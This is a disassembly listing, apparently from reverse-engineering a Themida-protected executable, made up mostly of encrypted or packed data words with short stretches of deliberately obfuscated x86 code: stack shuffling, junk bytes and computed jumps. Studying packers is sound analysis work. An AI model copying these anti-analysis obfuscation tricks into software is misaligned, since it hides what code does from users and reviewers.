dd 18A39D89h, 0F9494073h, 1D943C56h, 5B482541h, 943C57EBh
dd 4AEB8A39h, 963362A2h, 0B36BAD24h, 0E49C1B8Fh, 0C24EF4B7h
dd 8584943Ch, 943CC23Dh, 0C9A55DD9h, 44B2F9ADh, 86943CC2h
dd 3F8031A8h, 3BFA992Ah, 85DA4E85h, 99906A71h, 943CC12Ch
dd 0F3A24ECAh, 85D5DF2h, 24C16013h, 0ADDBD1C9h, 91CC8239h
dd 1CF14BCh, 542A0000h, 2CC37F2Ah, 4723E843h, 432CE260h
dd 498A3BE8h, 4D29D95Dh, 0BD5C9430h, 105D4C1Eh, 0AE67FC0Ah
dd 6A2198B2h, 59D0FE2Ch, 6A4F1B15h, 0B36BCBECh, 11CDA92Ah
dd 98A3E18Ah, 0A195C779h, 5403EFD3h, 1F69B44Ch, 0DA5E99Dh
dd 296468Ch, 0DFF6AAC6h, 8639ED2Eh, 5F3A861Dh, 8C69D0FDh
dd 89B044EEh, 0DCCA8E7h, 0D691D5Ah, 6DB44BF0h, 0EC6F81B6h
dd 0E12FE33h, 209B8539h, 0E0443069h, 6297500Bh, 26B541AEh
dd 438023B2h, 5A8F384Fh, 893DFCDEh, 9C2794Eh, 0AC589739h
dd 1F6011C8h, 1FD3EF73h, 0EAAA1878h, 437C3180h, 5A8F384Fh
dd 6DD5D4A6h, 896DD11Ah, 66FDBEADh, 41E0BF5Ah, 0C90A4885h
dd 0F95444Dh, 3A1FF441h, 3A0F4755h, 1995CA81h, 0C0B4E9A2h
dd 7BBF7D6Eh, 13A95598h, 0BF13A736h, 251D9936h, 411B3791h
dd 0D1C8F84Ah, 8C401C6Dh, 681C5B0Dh, 0BB71E816h, 0C82D9584h
dd 6DC96DD1h, 0F2E9ED90h, 0C88D31D8h, 0FD796DD1h, 6DB358E3h
dd 3A115C46h, 2D4A269Ah, 447932A9h, 58973950h, 3F782DACh
dd 528F3453h, 0DD744B9Eh, 17AE45EFh, 0E085550Eh, 5B77FBA7h
dd 0DFD0FDDFh, 70AE7414h, 651E95B2h, 14EA4430h, 0D1C6AD15h
dd 0DE64276Dh, 366DD1C6h, 11E6423Ah, 856A6874h, 52A5D6E7h
dd 0CAB09AAEh, 4E9B1A9Dh, 9B15872h, 0DB6DD1AFh, 0AEBC0605h
dd 0EC236DD1h, 61576B35h, 4419150Dh, 0EF66E23Eh, 780F0338h
dd 7CEB97D2h, 46FD24BBh, 829FDD08h, 0A2BE6BA6h, 0C3F8AF26h
dd 0FC705DCFh, 7A935F5Bh, 4D69FCD1h, 61CDBC8Eh, 9D6DD1B1h
dd 0DAD1AFC1h, 6DD1B168h, 3BB908Ch, 0DF93CE74h, 0FBD50612h
dd 0D1B1A210h, 5206626Dh, 447932B4h, 3F9C3B88h, 193D7E2Dh
dd 0A6A767FCh, 48B234A9h, 574B2013h, 72B356E5h, 4FF3A27Eh
dd 0A794234Ah, 6D5A7CBh, 32A92560h, 512F417Ch, 234AE85Ah
dd 66A14594h, 738DBAB6h, 0FF9EC14h, 57AC5A6Fh, 4A411BC0h
dd 9E135A19h, 0E6B561BDh, 9E133A58h, 1DB0017h, 233D690Ah
dd 45312D94h, 3689D46h, 5E250315h, 0DB7A6B3Bh, 66000004h
dd 4ECD81C4h, 6CEB5F96h, 39C07CB5h, 56E55996h, 0D1B773B2h
dd 66A547B5h, 81C263F2h, 5D984ECDh, 7CB15AE1h, 38F3CDC0h
dd 6BDBEA8Ah, 5CA76D6Ah, 5D4C1EBDh, 67FC1EF8h, 0CD753406h
dd 299423A2h, 2E7D294Dh, 9423A291h, 45A03F74h, 397B4B6Ch
dd 954Ch, 9D8C7200h, 9423AA25h, 691954FAh, 254F00Dh, 6DCC7C34h
dd 5B0FCAA4h, 0E0F57B17h, 6B874AD9h, 409EBBB7h, 31ADE289h
dd 0B89249D4h, 0CC0969D1h, 80B89D6Dh, 883BD359h, 0DF514521h
dd 0BDB80A01h, 5C6DCCh, 82B770EBh, 0FF40F168h, 0C0F74EAh
dd 9F538E34h, 0DECD9FC3h, 6DCCBD7Ch, 0E1F8AC88h, 0EC39F52Ah
dd 39F00AD1h, 6DCCBDEDh, 235A1289h, 0BA04533Fh, 986DCCFDh
dd 2154AE9h, 0DA0407D9h, 506DCCFDh, 0FDA9E689h, 7EB2ADEh
dd 783430F2h, 0A20Fh, 0BD5C7D00h, 0A7324C1Eh, 0F7B4C902h
dd 67FC1B9Ah, 0D5F4A07Ch, 0EA37F334h, 513812CDh, 94239CEDh
dd 0A02209F7h, 4494239Ch, 130F13E8h, 94C98239h, 4A367115h
dd 461511E6h, 94239CFBh, 2FCA691Ah, 397B49DEh, 0E5391D4Eh
dd 0F4A0D990h, 6A474B70h, 4C88401Dh, 2000000h, 7F2ABF5Ch
dd 6DCC7CC3h, 0DD904723h, 688CE89Ch, 7C2F9396h, 6BC76DCCh
dd 2C6D20B7h, 19C653B0h, 7CAA4447h, 6626DCCh
dd 3CF34B1Ah, 0A2516DCCh, 51F4C703h, 0DAA3B10h, 0E511F8D2h
dd 0A19233BCh, 0BC66DCCFh, 0A27E9233h
dword_5C4CC0 dd 327C0ABEh, 0CB04A979h, 23DCFBA7h, 0CEE53AEEh, 1E0DF30Dh
; DATA XREF: Themida_:0054BD80o
; Themida_:0054E21Co
dd 6DCC7CA4h, 69A64940h, 0C09DB9BDh, 11C8F198h, 9D1C67FCh
dd 7DF9ADEAh, 0D2BE9A60h, 23963B83h, 1C550C94h, 82BD7168h
dd 0ED841B8Eh, 7F3A36DFh, 80E490CBh, 9D39D86Bh, 4430651Eh
dd 0B9140BE0h, 99397B3Fh, 2Ch, 1EBD5CF3h, 7C745D4Ch, 969267FCh
dd 7C03BBEAh, 8EE2943Ch, 0FFDC17CBh, 8D60851Ch, 6D397B35h
dd 12Dh, 0E722C893h, 8A22373Bh, 2A447932h, 7CED5554h, 2D096DCCh
dd 95374E50h, 0F936D960h, 0CC7CB012h, 61D8546Dh, 0A15571AEh
dd 0FCB1812Ah, 0D4F39FC3h, 63A75B2Bh, 29D9E17Ah, 330F33D2h
dd 0D0BBA577h, 6DCC6F72h, 0CAC19692h, 6DCC125Ch, 0DCCFFAB1h
dd 6DCC7266h, 8123A27Eh, 0EED24E42h, 0CF04BB3Ah, 74374923h
dd 6DCC72CEh, 0D02D4A26h, 0D1B89249h, 67FC0108h, 0E022C7BEh
dd 70294636h, 0EC08EC1Fh, 0F6BFD912h, 0EF5371A0h, 0F8FF64DAh
dd 34F709E3h, 9423D28Eh, 0BED0A66h, 151A2A20h, 8C5EBA9Eh
dd 942E772h, 7744191Dh, 382296D5h, 0F1513826h, 159E108Ah
dd 8AD07219h, 17129E10h, 9E108AABh, 431FCF4Bh, 3EC41516h
dd 4C21513Fh, 399EDD8Fh, 4036AC49h, 0F7C6CFC7h, 82000001h
dd 4AD18DD0h, 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh
dd 529133A1h, 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h
dd 6BDBE5BEh, 32D35956h, 0C8B3F7Eh, 1F4C1E53h, 0DFC4672h
dd 6DCCBAB5h, 1AE8D551h, 753446E3h, 6DCC4ACDh, 0A6304D29h
dd 1EBD5C20h, 5A7324Ch, 0D9FAB1C6h, 3D67FC7Ch, 934C0FE1h
dd 0CE9D895Eh, 94238370h, 0A441E093h, 397B3749h, 0E229h
dd 82295700h, 94238FC0h, 99334824h, 8A3B7932h, 0CFE9C9FEh
dd 24A34F73h, 0AC2F4180h, 69CDB9F8h, 252E9497h, 6AC66DCCh
dd 5CCA918Dh, 0B16DCC58h, 30ABC5FAh, 0B5293E7Bh, 5C487D26h
dd 718B5067h, 28269C8Fh, 62BE6DCCh, 73B87385h, 1367FC5Bh
dd 5D74F60Eh, 0C27949E7h, 37F3CF0Eh, 3E10CBEAh, 0AC29E4Bh
dd 8C33069Eh, 0C218AA61h, 20FC9E11h, 0F7D45044h, 86552703h
dd 5527A3E2h, 421D1D18h, 0F106F05Eh, 0E287C66Ah, 40377D1Ah
dd 0EB37A074h, 76000000h, 9E1D91D4h, 7CFBAFE6h, 49D08CC5h
dd 66F569A6h, 0E1C783C2h, 569537A5h, 71B253E2h, 4D883EBDh
dd 2C610A91h, 0C8C3BDB0h, 6BDBE67Ah, 32773D9Ah, 0C100A47Eh
dd 0B97551D5h, 0D8548942h, 9131D806h, 756DCC7Ch, 9E24E7F9h
dd 766DCC7Ch, 3247DDFAh, 39504479h, 84E15D92h, 95946675h
dd 67F78AC8h, 0FBF00A66h, 7445AB16h, 1313E8F1h, 0AFEEA219h
dd 0D18A5FC3h, 0F269E51Ah, 49100439h, 0C74ECB8Eh, 7EA73E65h
dd 421C90C5h, 0EA96D577h, 0DB57486h, 0E9A74DC9h, 3CE3708Dh
dd 0C77C1B07h, 0EF013AEFh, 4DC9863Ch, 0DE025EA7h, 1AEE9332h
dd 6C183C71h, 9480B76Dh, 3D721990h, 36CD7649h, 8A29D88Ah
dd 9EE88950h, 84A303BCh, 0E3F8DC62h, 0BE7AAF58h, 0A75B9037h
dd 113Eh, 0D5774200h, 5FEBC196h, 12AE2C21h, 0C39399A9h
dd 80321EA6h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
db 41h, 55h, 0CFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
xchg ebp, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
push 7C41h
mov [esp], ebx
mov esi, 12A101FCh
push ecx
mov ecx, 622624E3h
shr ecx, 6
or ecx, 7F7759A9h
sub ecx, 0FC95316h
or ecx, 389B24DAh
add ecx, 57BA721h
sub esi, ecx
pop ecx
sub esi, 513177AAh
add esi, 0C2E352EAh
push esp
mov ebx, [esp]
add esp, 4
push 3732h
mov [esp], esi
pop dword ptr [ebx+8]
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
add ch, [edi-5]
enter 0FFFF8D22h, 52h
db 2Eh
jmp far ptr 1B17h:5B9946h
; ---------------------------------------------------------------------------
loc_5C50EE: ; CODE XREF: Themida_:005C433Cj
mov eax, 6179BCCh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 96h
dd 0AC134D73h, 820C2F97h, 2431A63Fh, 427B305Bh, 85015067h
dd 0FF209A3Ah, 3F215757h, 34FD0E9h, 0D86A9595h, 804E91BAh
dd 3D245941h, 39697984h, 0FB1476E9h, 0A20021BFh, 5D0CADE8h
dd 0C0736E82h, 0B34062F0h, 6F001DCAh, 0E858BA1Dh, 10h
dd 8ED68EADh, 0D880CDC9h, 408BE317h, 0DDAA044Fh, 0EB8A5AF5h
dd 68EBC281h, 81660000h, 0BB9713E0h, 1A0Dh, 0A98FD181h
dd 32FF49CDh, 5E38F080h, 12E9h, 0E71B2500h, 8AE3083Ch
dd 4C1C5F9Eh, 0B010A805h, 81F51CB6h, 0B53400F6h, 0C2BF0F18h
dd 4C75C681h, 0BCB17BEBh, 671FEE81h, 665674C8h, 28FCA8Bh
dd 10E9h, 68DAD200h, 20E86D04h, 80AAE956h, 8CFF9CDFh, 4EA8381h
dd 0F01EB83h, 1F85h, 28A0F00h, 0B0000000h, 29E9C6h, 0D010000h
dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh, 0A76BF66h
dd 0FFFF7DE9h, 0B46B43FFh, 0FE8A43C2h, 0F17EE9E2h, 8D2AECADh
dd 179E668Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0A7638954h, 0DE8B566Fh, 397F5DBAh
dd 0F58D895Ah, 0F061009h, 688h, 0ED8D8900h, 0C7061030h
dd 10231985h, 6A2806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0AE2FDED5h, 0C28B664Ch
dd 22C185C7h, 610h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 0D6EB0FC3h, 0D628CD61h
dd 0AE970h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 1EB9858Bh
dd 0B5FF0610h, 61004E9h, 135D9589h, 95FF0610h, 6102DB9h
dd 619B58Bh, 6A0610h, 31C995FFh, 0C08B0610h, 0B33518EBh
dd 0E938B032h, 3B7E53F4h, 0B7524C93h, 0E12DAEBEh, 0A398D404h
dd 11E995FDh, 0B3000000h, 58C49Ah, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5C587B
; ---------------------------------------------------------------------------
db 94h, 0F2h, 0AFh
dd 8DC47CFBh, 6AA34AD1h, 87C467EEh, 61A044D3h, 5183FFEDh
dd 6DEC609Fh, 38BF7BBCh, 54E35792h, 0C7C276ABh, 0E28C36F5h
dd 8B686BDBh, 243E675h, 79325FE5h, 7CE75B4Eh, 23FF6DCCh
dd 0AAC6FBA4h, 6D4784F6h, 85ECF28Ah, 28DC5774h, 628B75E9h
dd 0BCD718Eh, 29DE5DD3h, 9B440FECh, 641BBA66h, 0E79E1D2Fh
dd 1FC3C2AEh, 3BEB00E4h, 77A4E49Ch, 461BE453h, 14584838h
dd 44BA2427h, 0EE2D6917h, 0C39FE1BDh, 0DA0FB8CFh, 0C3F8AF26h
dd 0E1144ACFh, 5E0F0643h, 0A329C877h, 1918B708h, 16ECA272h
dd 320E3273h, 104BFF76h, 2E691D9Ch, 0B0E79D1Ch, 39ECEB9Bh
dd 0B86CAB5Dh, 347FC3C6h, 9B976DCCh, 0FDE79BB7h, 0E086AF46h
dd 845729A5h, 71F5A1E0h, 0F328DF5Ch, 34EF58FFh, 8F306DCCh
dd 0EE1CF5F0h, 7DFC336Ah, 4E000000h, 459996D7h, 524B0AC2h
dd 0D005BE75h, 0AE8A3BFEh, 0EA96BAFBh, 0E6B57186h, 6DCCAF5Eh
dd 0A441E0DFh, 336A6349h, 69BD94B9h, 0C7709D9Ah, 13EB2h
dd 328C0000h, 7DB93A7Ah, 44296008h, 6B8795E1h, 286820B7h
dd 52EBF268h, 3AE60A40h, 0F7ABE89Bh, 8244DBC4h, 4BD210B7h
dd 0DA4E0C60h, 0DE422E12h, 639A5209h, 8CB770E7h, 0CC48259Dh
dd 8165C16Dh, 1E0DF3CDh, 6DCC48A4h, 3D07E440h, 0FDA47E32h
dd 14B9D0C4h, 274B27DBh, 0A3BFFAB0h, 0F930D8EFh, 942B500Dh
dd 209CDB8Dh, 0F4C7F299h, 0D36F164Bh, 336DCC7Ch, 70671B37h
dd 0EB6E80B9h, 21DDFA39h, 22A43B78h, 0EF626C29h, 62D9178Bh
dd 0A25572ABh, 336AEB5Fh, 6B3Fh, 7E328D00h, 8D34533Fh
dd 0FBD718B9h, 0E3087407h, 859704C8h, 85DDA57h, 0B331E207h
dd 0D66D4E2Bh, 0EA5E9D4Fh, 867AB96Bh, 487F25B4h, 3803D85Ch
dd 0F9AA5693h, 13CE2BCAh, 0F3336B08h, 50h, 3F7E3259h, 4A8E3453h
dd 4225F136h, 564A26A6h, 9F53883Fh, 51458428h, 0A22EC55Eh
dd 58D97847h, 368C7FB4h, 0CE6DCC5Ch, 2CBA6E52h, 29437A32h
dd 0DFCAFDB2h, 6DCC7C63h, 0AECBA783h, 7C1CA9F0h, 94236DCCh
dd 36B5F8FDh, 195336Bh, 0F7000000h, 216004D7h, 0A1DA8F4Ch
dd 8C07BF5h, 2C4125D1h, 8528F8AFh, 55D45044h, 0A58175B2h
dd 0EB6D5C1h, 0F9AC2BD7h, 0EC8FCCB8h, 46FD6755h, 0A6DF86AFh
dd 9546CD32h, 0D0BBA5BBh, 6DCC7C72h, 0CAC19692h, 67FC0621h
dd 0E47789E5h, 76150140h, 9FBC98CDh, 13FE8DFh, 4B577004h
dd 813D1987h, 681C51FAh, 23EB8341h, 40DFC094h, 39F52AE1h
dd 28CB09C2h, 70A837D3h, 0F1E89CB8h, 7A11053Ah, 89B092D2h
dd 0B427B4AFh, 3A77E490h, 46F7210Eh, 0E017BA71h, 23DE9929h
dd 0C5A17D94h, 6E059ED1h, 7F16A562h, 6D80DB6h, 81568D33h
dd 93AF02BDh, 328F397Bh, 0FD000001h, 0E183BD5Ch, 4E72EEA2h
dd 26BC8D7Ch, 0B12867FCh, 0B6D5C1FEh, 0DCF1D510h, 3F564A26h
dd 5D75388h, 1B5F53C8h, 23A4D270h, 11363294h, 805DE803h
dd 2AE10CB3h, 94232598h, 0D0C4A07Ch, 894212B9h, 0A0C4A054h
dd 0F730D5F4h, 9BD68C0Bh, 7211B2E7h, 6B0A994Eh, 70EC21CAh
dd 7BDD64ADh, 5A4439h, 5C860000h, 1E401AC1h, 0CC7CD76Bh
dd 0A41E0D6Dh, 406DCC7Ch, 1B302CE4h, 7CDC4645h, 7CF8EDCCh
dd 7D61E188h, 0AD4EEDCCh, 3D9E3916h, 7DFA6823h, 3E1A6DCCh
dd 0A8BBB08Ah, 63DFCA07h, 836DCCF6h, 0F92C2A7h, 8634ADCAh
dd 3C000000h, 0EDDB6722h, 0D0746DCCh, 43EAE191h, 3B11E60Ah
dd 4C1EBD5Ch, 0FC0C3C5Dh, 0AC3A867h, 15AD5CF2h, 0F1942306h
dd 0A26E4875h, 411DDDFAh, 588D3655h, 83AE55E4h, 23A13A88h
dd 627EDA94h, 491BD188h, 998D69A6h, 97BEC09Dh, 9423A02Ch
dd 3CE57C23h, 627C4E83h, 23A01BA7h, 4A1FFB94h, 33A82F94h
dd 414C7219h, 21B89E18h, 39132F70h, 0BC91CC82h, 0DF14CBCAh
dd 7312A133h, 0CC9E3DDCh, 2FA7F9DDh, 0B5290594h, 1EBD5C17h
dd 0A9D88D4Ch, 0CC7C4002h, 0ACC8A46Dh, 795F7CF8h, 0F79AAC92h
dd 0CA353667h, 82D79530h, 68C56489h, 4E091692h, 0F9AD8979h
dd 0C1904687h, 611F03C7h, 0E318CF8Ch, 237F067h, 1C5470Eh
dd 933637D3h, 8715AD5Ch, 75F1F6D8h, 7D26A551h, 0A0DF9148h
dd 6D0497F4h, 5CF3CC5Fh, 0E7F92ED5h, 0DAB981E6h, 883FC725h
dd 76FAA6E3h, 0A55EDD61h, 62058470h, 0CAA6E78Ah, 4B8429B0h
dd 9C26E557h, 78F6D8A4h, 303D8FCh, 0E243E291h, 0C138F429h
dd 794CCC0Ah, 0D05DFD07h, 0E004E019h, 3A334h, 5F190000h
dd 3D80326Dh, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h
dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 0B968CF55h
dd 8900004Eh, 1068242Ch, 8900002Ch, 8951241Ch, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 240C895Ch, 9E9EBA52h, 89560617h
dd 5EF389D6h, 6A24685Ah, 24890000h, 24048124h, 4, 39596859h
dd 4890000h, 8B824h, 0C8010000h, 0FF581889h, 81592434h
dd 4C4h, 241C8B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
dd 0F8DC67E9h, 0BB8391FFh, 956A9457h
db 0ADh, 48h, 65h
; ---------------------------------------------------------------------------
loc_5C587B: ; CODE XREF: Themida_:005C5304j
mov eax, 617A38Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 437B083h, 61A35CBEh, 162F142h, 9D19827h, 3D93E9A7h
dd 7F8E6DA3h, 688E4002h, 4A0F8C73h, 34C08A38h, 2FE2B352h
dd 1ABA846Bh, 403BFF65h, 4C22BAF2h, 0F9037F8h, 37A36544h
dd 12E8h, 0E6038D00h, 0B6D62682h, 9A91082Ah, 48E4C6DEh
dd 0E9B2B5B2h, 0Bh, 0D2C30B13h, 9435CEA2h, 592A15F0h, 79F1C081h
dd 0C181109Bh, 5ACBh, 7DBBD38Bh, 0E8000016h, 13h, 2038018Eh
dd 51D0806h, 0BE6C8BDFh, 37DCBEF5h, 0BEAB9C4Bh, 11E815A8h
dd 0F931FF5Eh, 0F681665Fh, 0F781561Dh, 76103E50h, 0A980C781h
dd 0CE811D24h, 3C6996D3h, 0BC05EF81h, 0C78B09D2h, 81FC3989h
dd 6E078BE9h, 0C181F807h, 76E0787h, 81C0BF0Fh, 1EBh, 2C850F00h
dd 0E9000000h, 13h, 4B076150h, 0FCE0D4CCh, 0DCCA9805h
dd 529E2703h, 0E9B03D41h, 28h, 19B0D9C2h, 0BEA01E23h, 328EF141h
dd 0E984C89Dh, 0FFFFFF8Dh, 2A726C9Fh, 86F04F6Ch, 2F6398Eh
dd 7C7F23C8h, 0D906A34Bh, 0ECE9h, 0
dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
dd 0E6000077h, 277h, 5 dup(0)
dd 0E7A5FD00h, 77h, 2Bh dup(0)
dd 600h, 0AE351400h, 2396288Eh, 11424D33h, 0A94BD069h
dd 7550B438h, 156636DBh, 0D7D5D432h, 2307D9AAh, 0EA0D583Eh
dd 8F9288B7h, 41E58DD1h, 0F6E7E8CDh, 28E3E77Dh, 156628DBh
dd 95F99232h, 34EDCAC8h, 7452CF35h, 98DBA153h, 15600127h
dd 0A8E58147h, 137644A7h, 457F5632h, 0ADA69A61h, 15668C23h
dd 1B03C1BBh, 88EB2422h, 1374A927h, 4D3D5BCDh, 15F3F9B1h
dd 61662422h, 0AD354125h, 15668C23h, 1B03C1BBh, 88EB2422h
dd 1374A436h, 4D3D5BCDh, 0AA002452h, 74932E36h, 1A07FEB8h
dd 15669FB8h, 1574AD32h, 0A89F2232h, 42692078h, 0BB9A7BCAh
dd 6DE34111h, 94216ACDh, 156619DBh, 0B3D1C232h, 0FB461455h
dd 118AA164h, 4D4215BBh, 156A043Dh, 128F4432h, 7E662232h
dd 519EE357h, 0A8E5E9A6h, 1371E164h, 53E22D32h, 75661132h
dd 2EDC40B9h, 743B4815h, 981BA7BFh, 0EA9F1725h, 156061E2h
dd 5A224432h, 2BE0028Ah, 98CB94BFh, 98698E25h, 15664426h
dd 15662DDBh, 26C65832h, 35BBA3CBh, 0B3921207h, 0CB7D14E4h
dd 9169C1CDh, 15668833h, 0F0E382C7h, 43603211h, 13E81E52h
dd 1A668832h, 156644B8h, 24ABA232h, 0AD347953h, 18F149Ah
dd 5C664432h, 9EB59201h, 0F74AA6E2h, 230E440Dh, 0F511C807h
dd 1A8C3B4Bh, 156605B7h, 15696132h, 0D5384432h, 0B467EB58h
dd 267FB15Dh, 0DE667732h, 50D3BB66h, 0ED60322Fh, 90EC94BFh
dd 9C698E21h, 15664435h, 1567A83Dh, 0EA9A1132h, 0CDE7E8E2h
dd 7EACC757h, 1564A93Dh, 74061132h, 14EE8753h, 0ED664432h
dd 903A7BBh, 1A931722h, 156698B7h, 156DAD32h, 0EBEA2232h
dd 7399E7BEh, 4AA150E2h, 80E3833Dh, 15603234h, 0FC661132h
dd 15668821h, 82693560h, 0A60A2CD3h, 0FCAF9369h, 26A890D9h
dd 0D3482BFDh, 545C7B7h, 7D9E5434h, 9B14E15Bh, 2FB4C552h
dd 0E050DD14h, 8CD3EE53h, 1A609826h, 156648B1h, 13EB2D32h
dd 1A661132h, 156688BDh, 14E54B32h, 0E9662232h, 2F5494BFh
dd 128F8E22h, 15664432h, 48D40256h, 9E69F762h, 15668833h
dd 1AB6BBCAh, 156602BBh, 0FFE77132h, 0E0CEC6Eh, 156657DBh
dd 96F8B32h, 480B184h, 9013CE2Ch, 0BD5E7D5Ah, 7D1717DFh
dd 54E39853h, 1A609826h, 156643BCh, 14EE2D32h, 0E9661132h
dd 36830DF4h, 0FC254222h, 1566223Eh, 0E5189752h, 6B18C4EDh
dd 1512AD8Ah, 1573AD3Dh, 9B691132h, 1566883Dh, 15664EDBh
dd 0E99B6A32h, 0C1954102h, 7D0F840Bh, 89012F6Ch, 1579A33Dh
dd 0FD061132h, 15668826h, 18BAB8FBh, 45361599h, 0D10E8B61h
dd 3FDEE104h, 0F334B148h, 0FD95A26Ah, 8CD3EE53h, 0E9609826h
dd 2F54C1BFh, 1F8F2422h, 24661132h, 0E9E740C2h, 1D9CC266h
dd 0FCB6DD73h, 15661120h, 0DC57144Bh, 0FA3A0C8Ch, 0EA0AD810h
dd 0D8BE37EEh, 90EF6E2Bh, 1371E10Ch, 156632DBh, 0EC480232h
dd 0D9BD06AAh, 0EFF7AC76h, 541DAECBh, 0F0E3D7B6h, 41609811h
dd 1A96CE52h, 156627BFh, 0B004A932h, 7D07B414h, 0FB042C1Bh
dd 156630DBh, 5F72A832h, 4F5CA650h, 20B190A3h, 0C5F27741h
dd 0EA092934h, 5721187h, 90EBBC34h, 13761800h, 156F953Dh
dd 0A4068832h, 0CBE722E0h, 0EA07BBD6h, 90EFE9E2h, 13712D70h
dd 156EC93Dh, 97692232h, 15661130h, 90A0E952h, 137667D7h
dd 0D70EDE77h, 0FCBC710Ah, 1566883Fh, 0B608A07h, 0A3B31Fh
dd 5CD2D99Fh, 8CD37798h, 0E0605426h, 2F54A7BFh, 9B691722h
dd 15668835h, 1567C23Dh, 0EA9E2232h, 1576F8E2h, 32E08832h
dd 0E07E9C59h, 0DE31BADAh, 85386BFFh, 90EFB5ABh, 1371E174h
dd 15E32D52h, 94661132h, 0BF51ACD8h, 0A8E52564h, 1376003Bh
dd 75E31E32h, 1A668833h, 15665CBFh, 1575CB32h, 0DD261132h
dd 5449FFC3h, 0B49DB242h, 82049F13h, 1FBC35A8h, 0F0E34EE2h
dd 50605411h, 15ED2D52h, 73661132h, 0FC0743B9h, 1566443Ah
dd 1D6B910Ch, 0CB5CFB18h, 35180E5Ah, 0BE54BC8h, 1A662232h
dd 156609BAh, 15756132h, 3A2A4432h, 932A253Eh, 0DC8AEB90h
dd 0BB187491h, 0C7B1EFDFh, 8CD3DDFCh, 0E0600126h, 2F540DBFh
dd 75064222h, 156633DAh, 78FDCC32h, 0CE45CC57h, 72191031h
dd 6DBC6091h, 7339AB18h, 3A2941B3h, 74A7CF53h, 1E8FF2CDh
dd 6D661132h, 331C8D04h, 669892Ch, 90EF3C80h, 1371B478h
dd 15776052h, 8E514432h, 8317392Dh, 6DBF2B45h, 38056711h
dd 0FD7A5436h, 1566223Dh, 5631D113h, 5F10177Bh, 3E77590Eh
dd 4F8AEA47h, 0E491916Bh, 0F0E34E53h, 59605411h, 966942CBh
dd 15661130h, 90693F87h, 15664433h, 0D60E43C7h, 1A8637E2h
dd 156689B6h, 0A099B832h, 137636ABh, 156614DBh, 5AF91032h
dd 1A8F955Fh, 0E662232h, 8AD5E1F0h, 9EE4F502h, 48B7FED3h
dd 90EB6EFFh, 13762B00h, 0C6D18752h, 0EA071A63h, 156CCBE2h
dd 2C2C1132h, 0D5341FD8h, 8FADDA6Ch, 0B028A7BBh, 1F8F1725h
dd 0F7668832h, 0AE4A1AECh, 0F7154EFCh, 145CF8FEh, 0D39F8832h
dd 545A1B7h, 7D9F7034h, 0A92CF53Fh, 19B90952h, 1A2C2D4Bh
dd 156627B4h, 0F677AE32h, 0EA07B0A3h, 5693D87h, 198FDE34h
dd 0A2661132h, 0D955CEFh, 19A49B74h, 988AE87Ah, 55C23B7h
dd 19E78734h, 1A664432h, 156624B1h, 15E81E32h, 0EA668832h
dd 0E90624E2h, 15662FDAh, 0C8901B32h, 310B002Fh, 8E501295h
dd 743E713Eh, 5FE39853h, 1A609F97h, 15666CBEh, 128E4232h
dd 2661132h, 2FA686FFh, 0FC3FB04Eh, 15662226h, 0E7CEC6A3h
dd 0BDA544Fh, 0E86479B9h, 0A00F9F4Ch, 9C064115h, 0F0E34E53h
dd 47605411h, 15662DDBh, 2AB43F32h, 0A5E072CEh, 0B9DFC11Eh
dd 0C6AD7F9Dh, 592C595Ah, 156D6194h, 0E6D44432h, 0AE46C10Ch
dd 7AAA4520h, 6CD37757h, 1A60543Dh, 156632BBh, 156DF832h
dd 0AE5D8832h, 0E0AADE5Dh, 19894426h, 27E39C75h, 75609808h
dd 0A04DB5B3h, 188F42E7h, 0FE661132h, 0EF115EABh, 0A285A75Dh
dd 0FF15D6FBh, 156AF853h, 48778832h, 0AA6CF7BFh, 7DA33080h
dd 0C599404Bh, 5BE301CBh, 0FC605397h, 15662222h, 0CE43DCBEh
dd 539F6C8Fh, 4BDAD8DCh, 0AE304090h, 368394F4h, 1A348E22h
dd 156643BAh, 0ECEC4232h, 74BFAE3Dh, 57D2625Ah, 0A099B8CFh
dd 137636ABh, 15661CDBh, 0B4AAAE32h, 5CDDC7Eh, 2E6CE5EFh
dd 1D8FD87Dh, 83668832h, 0E045D73h, 9890E898h, 55C23B7h
dd 0C5997434h, 7CE3CDC7h, 0EC60323Fh, 368394F4h, 75118E22h
dd 3E8894B3h, 0FFE63A11h, 0B60E7035h, 0FC951F9Ah, 15664434h
dd 0CDF48CEFh, 0A09964ABh, 1376A8D7h, 15664FDBh, 74631532h
dd 7BF2AA90h, 0E16C4EBEh, 2F54C1BFh, 0EC9F2422h, 0FD06C1CDh
dd 15668822h, 6E45E01Ah, 0AAC8829Ch, 55B069C4h, 0C40320D2h
dd 4B9CFB3Dh, 90EF43CBh, 137610F7h, 0F0E34ECEh, 47605411h
dd 940042CBh, 1AFD35E1h, 7D077A8Dh, 9FBB7525h, 156628DBh
dd 8FD97332h, 2998348Eh, 0EA0A3543h, 572BB87h, 1B8E7134h
dd 0E7668832h, 0E5B49DB6h, 7BD2C511h, 0B06DCCDEh, 0EED187C9h
